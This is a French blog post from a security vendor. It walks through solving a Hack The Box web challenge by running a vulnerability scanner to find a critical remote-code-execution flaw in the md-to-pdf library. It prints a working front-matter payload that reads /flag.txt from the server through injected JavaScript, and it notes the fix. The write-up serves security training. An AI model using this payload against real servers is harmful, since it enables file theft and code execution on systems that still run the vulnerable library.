Skip to main content

Résolvez les défis de Hack the Box et d’autres défis CTF avec Snyk

Écrit par
Headshot of Mathias Conradt

Mathias Conradt

feature ctf challenge

1 septembre 2022

0 minutes de lecture

Hack The Box (HTB) est une plateforme qui gamifie la formation à la cybersécurité. Elle s’adresse aux futurs pentesters, mais aussi aux développeurs qui souhaitent devenir des référents en sécurité — ou simplement mieux comprendre le mode de pensée des adversaires — afin de renforcer la sécurité de leurs applications.

Je crois à l’efficacité de la gamification dans la formation et l’éducation, car soyons honnêtes : qui n’a jamais participé à une formation interne en sécurité ou révisé pour un examen de certification, avant d’avoir oublié la moitié de ce qu’il avait appris six mois plus tard ? HTB adopte une approche différente avec ses jeux pratiques de type capture the flag (CTF). Les joueurs pénètrent dans une machine, généralement une machine virtuelle Linux ou Windows, en découvrant et en exploitant des vulnérabilités afin de récupérer deux drapeaux : d’abord celui d’un utilisateur standard, puis celui de l’utilisateur root, en élevant leurs privilèges. Un drapeau est simplement le contenu d’un fichier texte présent sur la machine.

En plus des « machines » (les principaux éléments de la plateforme), Hack The Box propose également des tâches plus courtes auxquelles vous pouvez participer, appelées « Challenges ». Elles ne demandent généralement de trouver qu’un seul drapeau, mais comprennent souvent un ensemble complet de fichiers de ressources à télécharger. Il peut s’agir d’un fichier pcap à analyser avec Wireshark ou du code source complet de l’application concernée, qui vous permet d’en examiner la structure et le code — c’est précisément là que Snyk intervient.

Snyk vous aide à trouver plus rapidement les vulnérabilités et les points d’entrée potentiels. La CLI Snyk vous permet d’exécuter des tests SAST (analyse statique de la sécurité des applications) et SCA (analyse de la composition logicielle) sur votre projet. Elle analyse les fichiers manifestes de l’application, comme package.json, pour repérer les vulnérabilités connues dans les bibliothèques open source. Elle signale même les preuves de concept (PoC).

Analyse du défi BlinkerFluids

Le défi BlinkerFluids illustre parfaitement le fonctionnement de HTB. Comme il est assez facile et constitue un bon point de départ, je vais m’en servir comme exemple dans cet article de blog.

Tableau de bord BlinkrFluids en thème sombre affichant une liste de services surveillés, des graphiques d’état, des alertes et les détails des services.

Une fois le défi lancé, vous obtenez l’adresse IP et le port de l’hôte (46.101.2.216:32221 dans cet exemple). En les ouvrant dans un navigateur, vous accédez à un site web doté d’une interface simple.

Écran du défi BlinkerFluids affichant les détails de l’instance, les instructions de téléchargement et la description d’un mystérieux fournisseur de fluides

Voyons ce qui se cache derrière cette URL cible en ouvrant http://46.101.2.216:32221.

L’application se compose d’une seule page présentant une liste de factures. Vous pouvez les exporter au format PDF, les supprimer ou en créer de nouvelles.

Page de la liste des factures Blinker Fluids affichant une facture, sa date d’émission, une option d’export au format PDF, une action de suppression et un bouton « Créer une facture »

En passant le curseur sur le lien d’export PDF, on constate que les PDF sont servis depuis un dossier qui semble contenir des ressources statiques.

Liste de factures de Blinker Fluids affichant une facture, sa date d’émission, une option d’export au format PDF, une action de suppression et un bouton « Créer une nouvelle facture ».

L’éditeur de création de factures semble proposer un éditeur WYSIWYG qui accepte du texte en langage de balisage (Markdown), puis le convertit en PDF.

Écran de création de facture de Blinker Fluids affichant les coordonnées de l’entreprise, les informations client, la ligne de produit, les totaux et un bouton Enregistrer

Avant d’analyser davantage l’hôte cible, téléchargeons les ressources fournies avec le défi. Après avoir téléchargé et extrait le fichier ZIP, nous obtenons le code source complet de l’application, une application Node empaquetée sous forme d’image Docker — avec le Dockerfile et le fichier package.json.

On trouve également un fichier flag.txt dans le dossier racine. Dans les défis HTB, le drapeau se trouve généralement à l’emplacement /flag.txt. Toutefois, le fichier de cette archive ZIP n’est qu’un substitut ; ce n’est pas le vrai drapeau que nous cherchons. La plateforme HTB génère et renouvelle ces drapeaux en ligne selon sa propre logique. Quoi qu’il en soit, nous connaissons maintenant la recette et les ingrédients de l’application BlinkerFluids.

─$ tree -L 2 
. 
├── build-docker.sh 
├── challenge 
│ ├── database.js 
│ ├── helpers 
│ ├── index.js 
│ ├── node_modules 
│ ├── package.json 
│ ├── package-lock.json
│ ├── routes 
│ ├── static 
│ └── views 
├── config 
│ └── supervisord.conf 
├── Dockerfile 
└── flag.txt 
7 directories, 8 files

L’application proprement dite se trouve dans le sous-dossier « challenge ». On y trouve plusieurs bibliothèques Node définies comme dépendances directes et transitives dans node_modules, ainsi que le dossier static, qui semble servir les PDF exportés vus plus haut.

╰─$ tree -L 2 
. 
├── database.js 
├── helpers 
│ └── MDHelper.js 
├── index.js 
├── node_modules 
│ ├── ... 
│ ├── marked 
│ ├── md-to-pdf 
│ ├── media-typer 
│ ├── ... 
├── package.json 
├── package-lock.json 
├── routes 
│ └── index.js 
├── static 
│ ├── css 
│ ├── images 
│ ├── invoices 
│ └── js 
└── views 
└── index.html 
379 directories, 7 files

Analyse des vulnérabilités avec Snyk

Puisque nous cherchons un moyen de pénétrer dans l’application et de récupérer le fichier /flag.txt sur l’instance en ligne, nous pouvons étudier le code en détail pour en comprendre la logique. Pour gagner du temps et de la place, je ne vais pas approfondir tous les détails dans cet article.

Nous cherchons essentiellement des vulnérabilités dans le code personnalisé ou dans les dépendances directes et indirectes (transitives).

La CLI Snyk nous permet de faire les deux. Si vous n’avez pas installé Snyk, vous pouvez le faire en exécutant la commande suivante :

npm i -g snyk

ou en utilisant toute autre méthode de votre choix, comme indiqué sur la page d’installation de la CLI Snyk.

Dans le sous-dossier challenge, commençons par exécuter un test SAST sur le code personnalisé :

snyk code test

Voici les résultats obtenus :

$ snyk code test

Testing 
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge ...

  ✗ [Medium] Cross-Site Request Forgery (CSRF) 
    Path: index.js, line 2 
    Info: Consider using csurf middleware for your Express app to protect against CSRF   attacks.

  ✗ [Medium] Information Exposure 
    Path: index.js, line 2 
    Info: Disable X-Powered-By header for your Express app (consider using Helmet middleware), because it exposes information about the used framework to potential attackers. 

  ✗ [Medium] Allocation of Resources Without Limits or Throttling 
    Path: routes/index.js, line 9 
    Info: This endpoint handler performs a file system operation and does
not use a rate-limiting mechanism. It may enable the attackers to perform Denial-of-service attacks. Consider using a rate-limiting middleware such as express-limit. 

  ✗ [High] Cross-site Scripting (XSS) 
    Path: static/js/main.js, line 20 
    Info: Unsanitized input from data from a remote resource flows into append, where it is used to dynamically construct the HTML page on client side. This may result in a DOM Based Cross-Site Scripting attack (DOMXSS). 

✔ Test completed

Organization: e-corp-demo 
Test type: Static code analysis 
Project path: 
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 

Summary:

  4 total Code issues: | 1 High | 3 Medium

On trouve bien quelques vulnérabilités, dont une de gravité élevée, mais aucune ne nous permet d’avancer : une XSS ne nous est pas vraiment utile dans ce cas. Passons donc à un test SCA.

Dans le cadre d’un test SCA, Snyk analyse les fichiers manifestes d’un projet (pour Node.js, il s’agit de package.json et package-lock.json).

$ cat package.json 
↵ 1 
{ 
        "name": "blinker-fluids", 
        "version": "1.0.0", 
        "description": "", 
        "main": "index.js", 
        "scripts": { 
                "start": "node index.js" 
        }, 
        "keywords": [], 
        "author": "rayhan0x01", 
        "license": "ISC", 
        "dependencies": { 
                "express": "4.17.3", 
                "md-to-pdf": "4.1.0", 
                "nunjucks": "3.2.3", 
                "sqlite-async": "1.1.3", 
                "uuid": "8.3.2" 
        }, 
        "devDependencies": { 
                "nodemon": "^1.19.1" 
        } 
} 

Le fichier package.json ne compte que 5 dépendances directes, mais le fichier package-lock.json en révèle 371 au total, dépendances transitives comprises. Cela fait beaucoup de vulnérabilités à vérifier manuellement. Exécutons la commande suivante :

$ npm install 
$ snyk test

Voici les résultats obtenus :

$ snyk test

Testing
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge...

Tested 286 dependencies for known issues, found 4 issues, 11 vulnerable paths. 

Issues to fix by upgrading: 

  Upgrade md-to-pdf@4.1.0 to md-to-pdf@5.0.2 to fix 
  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity]  [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342073] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
  ✗ Regular Expression Denial of Service (ReDoS) [Medium Severity] [https://security.snyk.io/vuln/SNYK-JS-MARKED-2342082] in marked@2.1.3 introduced by md-to-pdf@4.1.0 > marked@2.1.3 
  ✗ Remote Code Execution (RCE) [Critical Severity] 
[https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880] in md-to pdf@4.1.0 
    introduced by md-to-pdf@4.1.0 

Issues with no direct upgrade or patch: 
  ✗ Regular Expression Denial of Service (ReDoS) [High Severity] [https://security.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908] in ansi regex@2.1.1 
    introduced by md-to-pdf@4.1.0 > listr@0.14.3 > listr-update renderer@0.5.0 > strip-ansi@3.0.1 > ansi-regex@2.1.1 and 7 other path(s) This issue was fixed in versions: 3.0.1, 4.1.1, 5.0.1, 6.0.1 

Organization: e-corp-demo 
Package manager: npm 
Target file: package-lock.json 
Project name: blinker-fluids 
Open source: no 
Project path: 
/home/mconradt/Documents/HTB/Challenges/web_blinkerfluids/challenge 
Licenses: enabled
Capture d’écran d’un terminal montrant un rapport d’analyse statique du code qui identifie quatre problèmes de sécurité dans Express.js, notamment des vulnérabilités CSRF et de pollution de prototype.

Voilà qui est plus intéressant. Nous pouvons ignorer les problèmes de ReDoS, car provoquer une interruption de service ne nous aiderait pas à accéder à la plateforme. En revanche, l’Remote Code Execution (RCE) critique dans md-to-pdf semble très prometteuse : c’est exactement ce qu’il nous faut. On peut supposer que md-to-pdf est la bibliothèque auxiliaire utilisée pour convertir le Markdown des factures en PDF.

On voit ici toute la puissance de Snyk. En quelques secondes, l’outil analyse les dépendances du projet, signale les vulnérabilités et fournit même un lien vers la Snyk Vulnerability Database, avec une preuve de concept d’exploitation ainsi que des liens vers le rapport d’incident d’origine :

Page de la base de données des vulnérabilités Snyk montrant une vulnérabilité critique d’exécution de code à distance, notée 9,8, dans le package md-to-pdf, avec des extraits de code.

Ces informations nous aideront à exploiter la vulnérabilité. Il convient toutefois de noter que le rapport de Snyk recommande également une solution, comme le montre la capture d’écran ci-dessus : il s’agit donc de conseils vraiment exploitables.

How to fix? 
Upgrade md-to-pdf to version 5.0.0 or higher.

Mais puisque nous jouons maintenant le rôle de l’attaquant, consultons le problème GitHub d’origine pour en savoir plus.

Comme indiqué dans le problème GitHub, le souci vient de la bibliothèque gray-matter (utilisée par md-to-pdf pour analyser le front matter), qui expose par défaut un moteur JavaScript. Concrètement, elle exécute eval sur le Markdown fourni, ce qui permet à toute personne contrôlant son contenu d’exécuter du code JavaScript arbitraire.

On peut consulter la PoC d’origine, puis, plus bas dans les commentaires, une PoC légèrement modifiée.

Page sombre d’un ticket GitHub affichant un commentaire sur un package JavaScript malveillant et l’exécution de code arbitraire.

Cette PoC tente de lister et d’afficher le contenu d’un dossier. Comme nous voulons accéder au contenu du drapeau situé dans /flag.txt, nous l’adaptons légèrement pour lire le fichier du drapeau :

---js 
{ 
  css: `body::before { content: 
"${require('fs').readFileSync('/flag.txt')}"; display: block }`, } 
---

En collant ce code dans le générateur de factures et en cliquant sur Enregistrer, nous obtenons un PDF contenant le drapeau recherché.

Page de création de facture Blinker Fluids, avec un éditeur de code sombre affichant du CSS et un bouton Enregistrer
Liste de factures Blinker Fluids affichant les identifiants de facture, les dates d’émission, les liens d’export PDF, les actions de suppression et un bouton « Créer une facture »
Fenêtre du navigateur Adobe Acrobat affichant un PDF avec une URL floutée et le panneau Outils ouvert, présentant les options de conversion PDF

Soumettez ce drapeau et le défi est résolu. Au suivant ! :)

Devenez un champion du CTF avec Snyk

Les défis Hack The Box sont un moyen ludique de découvrir les vulnérabilités et leur exploitation. Snyk nous a aidés à résoudre ce défi Hack The Box en analysant rapidement les dépendances de l’application et en signalant une vulnérabilité RCE critique, accompagnée d’informations sur son exploitation. Snyk a également fourni aux développeurs de l’application des indications pour corriger le problème.

À noter dans votre agenda : Snyk organisera le CTF « Fetch the Flag » le 9 novembre. Pensez à vous inscrire et à nous rejoindre pour participer à 16 défis.

Lancez-vous dans les compétitions Capture The Flag

Apprenez à résoudre des défis Capture The Flag en regardant à la demande notre atelier virtuel d’initiation.

À propos de l’auteur

Mathias Conradt est entrepreneur et professionnel de la cybersécurité. Il possède une expérience en ingénierie logicielle et en avant-vente, est Snyk Ambassador et dirige le chapitre allemand de DevSecCon. Il participe également à des CTF. Découvrez son site personnel ici.

Lire la suite

blog feature snyk container custom base recommendations
Blog

Découvrez Evo Agentic AppSec : une sécurité au rythme du développement de l’IA

Le développement piloté par l’IA dépasse les workflows de sécurité traditionnels. L’AppSec agentique de Snyk s’appuie sur des agents de sécurité pour détecter, corriger et vérifier les vulnérabilités en continu, tandis que les équipes définissent les exigences.

blog feature ai violet
Blog

VulnBump : les agents IA peuvent-ils corriger les dépendances vulnérables sans casser le build ?

VulnBump évalue des agents IA sur 307 mises à niveau de dépendances réelles. Une correction n’est comptabilisée que si la vulnérabilité disparaît et que la compilation et les tests restent au vert.

Blog

Les modèles de pointe ont trouvé les vulnérabilités. Seul l’attaquant a trouvé les chaînes d’exploitation.

L’analyse statique a détecté les failles, mais seuls des tests d’attaque en conditions réelles ont prouvé comment elles pouvaient être enchaînées pour provoquer des compromissions. Comparaison d’Evo COS, de Claude Security et de Claude Code Security.